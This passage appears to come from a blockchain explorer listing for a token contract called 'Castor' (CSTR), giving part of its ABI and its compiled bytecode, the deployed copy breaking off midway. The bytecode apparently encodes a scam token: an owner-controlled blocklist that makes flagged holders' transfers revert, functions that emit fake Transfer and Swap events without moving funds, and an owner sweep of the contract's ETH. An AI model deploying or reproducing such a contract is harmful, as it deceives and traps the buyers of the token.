ame":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600681526020017f436173746f7200000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f435354520000000000000000000000000000000000000000000000000000000081525081816200016562000159620001e260201b60201c565b620001ea60201b60201c565b81600690805190602001906200017d9291906200042f565b508060079080519060200190620001969291906200042f565b5050505050620001dc33620001b0620002ae60201b60201c565b600a620001be919062000679565b64e8d4a51000620001d09190620006ca565b620002b760201b60201c565b6200089d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000320906200078c565b60405180910390fd5b6200033d600083836200042560201b60201c565b8060046000828254620003519190620007ae565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040591906200081c565b60405180910390a362000421600083836200042a60201b60201c565b5050565b505050565b505050565b8280546200043d9062000868565b90600052602060002090601f016020900481019282620004615760008555620004ad565b82601f106200047c57805160ff1916838001178555620004ad565b82800160010185558215620004ad579182015b82811115620004ac5782518255916020019190600101906200048f565b5b509050620004bc9190620004c0565b5090565b5b80821115620004db576000816000905550600101620004c1565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200056d57808604811115620005455762000544620004df565b5b6001851615620005555780820291505b808102905062000565856200050e565b945062000525565b94509492505050565b6000826200058857600190506200065b565b816200059857600090506200065b565b8160018114620005b15760028114620005bc57620005f2565b60019150506200065b565b60ff841115620005d157620005d0620004df565b5b8360020a915084821115620005eb57620005ea620004df565b5b506200065b565b5060208310610133831016604e8410600b84101617156200062c5782820a905083811115620006265762000625620004df565b5b6200065b565b6200063b84848460016200051b565b92509050818404811115620006555762000654620004df565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006868262000662565b915062000693836200066c565b9250620006c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000576565b905092915050565b6000620006d78262000662565b9150620006e48362000662565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000720576200071f620004df565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000774601f836200072b565b915062000781826200073c565b602082019050919050565b60006020820190508181036000830152620007a78162000765565b9050919050565b6000620007bb8262000662565b9150620007c88362000662565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200080057620007ff620004df565b5b828201905092915050565b620008168162000662565b82525050565b60006020820190506200083360008301846200080b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200088157607f821691505b60208210810362000897576200089662000839565b5b50919050565b6123cd80620008ad6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b604051610167919061179f565b60405180910390f35b61018a6004803603810190610185919061185f565b6104ee565b60405161019791906118ba565b60405180910390f35b6101a8610511565b6040516101b591906118e4565b60405180910390f35b6101d860048036038101906101d391906118ff565b61051b565b6040516101e591906118ba565b60405180910390f35b6101f661054a565b604051610203919061196e565b60405180910390f35b61022660048036038101906102219190611989565b610553565b005b610242600480360381019061023d919061185f565b61059f565b60405161024f91906118ba565b60405180910390f35b610272600480360381019061026d9190611989565b6105d6565b60405161027f91906118ba565b60405180910390f35b6102a2600480360381019061029d9190611989565b61062c565b6040516102af91906118e4565b60405180910390f35b6102d260048036038101906102cd9190611a71565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b25565b61077f565b005b610314600480360381019061030f9190611b72565b610909565b005b61031e610a95565b60405161032b9190611bf5565b60405180910390f35b61033c610abe565b604051610349919061179f565b60405180910390f35b61036c60048036038101906103679190611b72565b610b50565b005b6103886004803603810190610383919061185f565b610cdb565b60405161039591906118ba565b60405180910390f35b6103b860048036038101906103b3919061185f565b610d52565b6040516103c591906118ba565b60405180910390f35b6103e860048036038101906103e391906118ff565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c10565b610e30565b60405161041b91906118e4565b60405180910390f35b61043e60048036038101906104399190611b25565b610eb7565b005b61045a60048036038101906104559190611989565b610f64565b005b60606006805461046b90611c7f565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c7f565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe7565b9050610506818585610fef565b600191505092915050565b6000600454905090565b600080610526610fe7565b90506105338582856111b8565b61053e858585611244565b60019150509392505050565b60006012905090565b61055b6115ba565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe7565b90506105cb8185856105bc8589610e30565b6105c69190611cdf565b610fef565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d35565b5b90506020020160208101906106ab9190611989565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d35565b5b90506020020160208101906106e99190611989565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d35565b5b9050602002013560405161074791906118e4565b60405180910390a3808061075a90611d64565b915050610678565b50505050505050565b6107736115ba565b61077d6000611638565b565b6107876115ba565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d35565b5b90506020020160208101906107c39190611989565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d35565b5b90506020020160208101906108759190611989565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d35565b5b90506020020160208101906108d79190611989565b61062c565b6040516108e991906118e4565b60405180910390a380806108fc90611d64565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d35565b5b905060200201602081019061093f9190611989565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611df1565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d35565b5b9050602002016020810190610a2e9190611989565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118e4565b60405180910390a38080610a8690611d64565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c7f565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c7f565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d35565b5b9050602002016020810190610b869190611989565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e36565b60405180910390a3848482818110610c2657610c25611d35565b5b9050602002016020810190610c3b9190611989565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118e4565b60405180910390a38080610ccc90611d64565b915050610b53565b5050505050565b600080610ce6610fe7565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611eed565b60405180910390fd5b610d468286868403610fef565b60019250505092915050565b600080610d5d610fe7565b9050610d6a818585611244565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118e4565b60405180910390a3505050565b610de76115ba565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115ba565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d35565b5b9050602002016020810190610efb9190611989565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d64565b915050610ec2565b505050565b610f6c6115ba565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290611f7f565b60405180910390fd5b610fe481611638565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590612011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c4906120a3565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ab91906118e4565b60405180910390a3505050565b60006111c48484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461123e5781811015611230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112279061210f565b60405180910390fd5b61123d8484848403610fef565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa906121a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612233565b60405180910390fd5b61132d8383836116fc565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab906122c5565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114555750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b15760011515600560009054906101000a900460ff161515146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a79061230b565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a191906118e4565b60405180910390a36115b4848484611701565b50505050565b6115c2610fe7565b73ffffffffffffffffffffffffffffffffffffffff166115e0610a95565b73ffffffffffffffffffffffffffffffffffffffff1614611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d90612377565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611740578082015181840152602081019050611725565b8381111561174f576000848401525b50505050565b6000601f19601f8301169050919050565b600061177182611706565b61177b8185611711565b935061178b818560208601611722565b61179481611755565b840191505092915050565b600060208201905081810360008301526117b98184611766565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117f6826117cb565b9050919050565b611806816117eb565b811461181157600080fd5b50565b600081359050611823816117fd565b92915050565b6000819050919050565b61183c81611829565b811461184757600080fd5b50565b60008135905061185981611833565b92915050565b60008060408385031215611876576118756117c1565b5b600061188485828601611814565b92505060206118958582860161184a565b9150509250929050565b60008115159050919050565b6118b48161189f565b82525050565b60006020820190506118cf60008301846118ab565b92915050565b6118de81611829565b82525050565b60006020820190506118f960008301846118d5565b92915050565b600080600060608486031215611918576119176117c1565b5b600061192686828701611814565b935050602061193786828701611814565b92505060406119488682870161184a565b9150509250925092565b600060ff82169050919050565b61196881611952565b82525050565b6000602082019050611983600083018461195f565b92915050565b60006020828403121561199f5761199e6117c1565b5b60006119ad84828501611814565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119db576119da6119b6565b5b8235905067ffffffffffffffff8111156119f8576119f76119bb565b5b602083019150836020820283011115611a1457611a136119c0565b5b9250929050565b60008083601f840112611a3157611a306119b6565b5b8235905067ffffffffffffffff811115611a4e57611a4d6119bb565b5b602083019150836020820283011115611a6a57611a696119c0565b5b9250929050565b60008060008060008060608789031215611a8e57611a8d6117c1565b5b600087013567ffffffffffffffff811115611aac57611aab6117c6565b5b611ab889828a016119c5565b9650965050602087013567ffffffffffffffff811115611adb57611ada6117c6565b5b611ae789828a016119c5565b9450945050604087013567ffffffffffffffff811115611b0a57611b096117c6565b5b611b1689828a01611a1b565b92509250509295509295509295565b60008060208385031215611b3c57611b3b6117c1565b5b600083013567ffffffffffffffff811115611b5a57611b596117c6565b5b611b66858286016119c5565b92509250509250929050565b60008060008060608587031215611b8c57611b8b6117c1565b5b600085013567ffffffffffffffff811115611baa57611ba96117c6565b5b611bb6878288016119c5565b94509450506020611bc98782880161184a565b9250506040611bda8782880161184a565b91505092959194509250565b611bef816117eb565b82525050565b6000602082019050611c0a6000830184611be6565b92915050565b60008060408385031215611c2757611c266117c1565b5b6000611c3585828601611814565b9250506020611c4685828601611814565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9757607f821691505b602082108103611caa57611ca9611c50565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cea82611829565b9150611cf583611829565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d2a57611d29611cb0565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d6f82611829565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611da157611da0611cb0565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611ddb611dd6611dd184611dac565b611db6565b611829565b9050919050565b611deb81611dc0565b82525050565b6000608082019050611e066000830187611de2565b611e1360208301866118d5565b611e2060408301856118d5565b611e2d6060830184611de2565b95945050505050565b6000608082019050611e4b60008301876118d5565b611e586020830186611de2565b611e656040830185611de2565b611e7260608301846118d5565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ed7602583611711565b9150611ee282611e7b565b604082019050919050565b60006020820190508181036000830152611f0681611eca565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f69602683611711565b9150611f7482611f0d565b604082019050919050565b60006020820190508181036000830152611f9881611f5c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ffb602483611711565b915061200682611f9f565b604082019050919050565b6000602082019050818103600083015261202a81611fee565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061208d602283611711565b915061209882612031565b604082019050919050565b600060208201905081810360008301526120bc81612080565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120f9601d83611711565b9150612104826120c3565b602082019050919050565b60006020820190508181036000830152612128816120ec565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061218b602583611711565b91506121968261212f565b604082019050919050565b600060208201905081810360008301526121ba8161217e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061221d602383611711565b9150612228826121c1565b604082019050919050565b6000602082019050818103600083015261224c81612210565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122af602683611711565b91506122ba82612253565b604082019050919050565b600060208201905081810360008301526122de816122a2565b9050919050565b50565b60006122f5600083611711565b9150612300826122e5565b600082019050919050565b60006020820190508181036000830152612324816122e8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612361602083611711565b915061236c8261232b565b602082019050919050565b6000602082019050818103600083015261239081612354565b905091905056fea2646970667358221220dff26611b9d4019bdc6407ed4c98d9053d5c20ca55c8a14fdb919659e4cbedc264736f6c634300080d0033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b604051610167919061179f565b60405180910390f35b61018a6004803603810190610185919061185f565b6104ee565b60405161019791906118ba565b60405180910390f35b6101a8610511565b6040516101b591906118e4565b60405180910390f35b6101d860048036038101906101d391906118ff565b61051b565b6040516101e591906118ba565b60405180910390f35b6101f661054a565b604051610203919061196e565b60405180910390f35b61022660048036038101906102219190611989565b610553565b005b610242600480360381019061023d919061185f565b61059f565b60405161024f91906118ba565b60405180910390f35b610272600480360381019061026d9190611989565b6105d6565b60405161027f91906118ba565b60405180910390f35b6102a2600480360381019061029d9190611989565b61062c565b6040516102af91906118e4565b60405180910390f35b6102d260048036038101906102cd9190611a71565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b25565b61077f565b005b610314600480360381019061030f9190611b72565b610909565b005b61031e610a95565b60405161032b9190611bf5565b60405180910390f35b61033c610abe565b604051610349919061179f565b60405180910390f35b61036c60048036038101906103679190611b72565b610b50565b005b6103886004803603810190610383919061185f565b610cdb565b60405161039591906118ba565b60405180910390f35b6103b860048036038101906103b3919061185f565b610d52565b6040516103c591906118ba565b60405180910390f35b6103e860048036038101906103e391906118ff565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c10565b610e30565b60405161041b91906118e4565b60405180910390f35b61043e60048036038101906104399190611b25565b610eb7565b005b61045a60048036038101906104559190611989565b610f64565b005b60606006805461046b90611c7f565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c7f565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe7565b9050610506818585610fef565b600191505092915050565b6000600454905090565b600080610526610fe7565b90506105338582856111b8565b61053e858585611244565b60019150509392505050565b60006012905090565b61055b6115ba565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe7565b90506105cb8185856105bc8589610e30565b6105c69190611cdf565b610fef565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d35565b5b90506020020160208101906106ab9190611989565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d35565b5b90506020020160208101906106e99190611989565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d35565b5b9050602002013560405161074791906118e4565b60405180910390a3808061075a90611d64565b915050610678565b50505050505050565b6107736115ba565b61077d6000611638565b565b6107876115ba565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d35565b5b90506020020160208101906107c39190611989565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d35565b5b90506020020160208101906108759190611989565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d35565b5b90506020020160208101906108d79190611989565b61062c565b6040516108e991906118e4565b60405180910390a380806108fc90611d64565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d35565b5b905060200201602081019061093f9190611989565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611df1565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d35565b5b9050602002016020810190610a2e9190611989565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118e4565b60405180910390a38080610a8690611d64565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c7f565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c7f565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d35565b5b9050602002016020810190610b869190611989565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e36565b60405180910390a3848482818110610c2657610c25611d35565b5b9050602002016020810190610c3b9190611989565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118e4565b60405180910390a38080610ccc90611d64565b915050610b53565b5050505050565b600080610ce6610fe7565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611eed565b60405180910390fd5b610d468286868403610fef565b60019250505092915050565b600080610d5d610fe7565b9050610d6a818585611244565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118e4565b60405180910390a3505050565b610de76115ba565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115ba565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d35565b5b9050602002016020810190610efb9190611989565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d64565b915050610ec2565b505050565b610f6c6115ba565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290611f7f565b60405180910390fd5b610fe481611638565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffff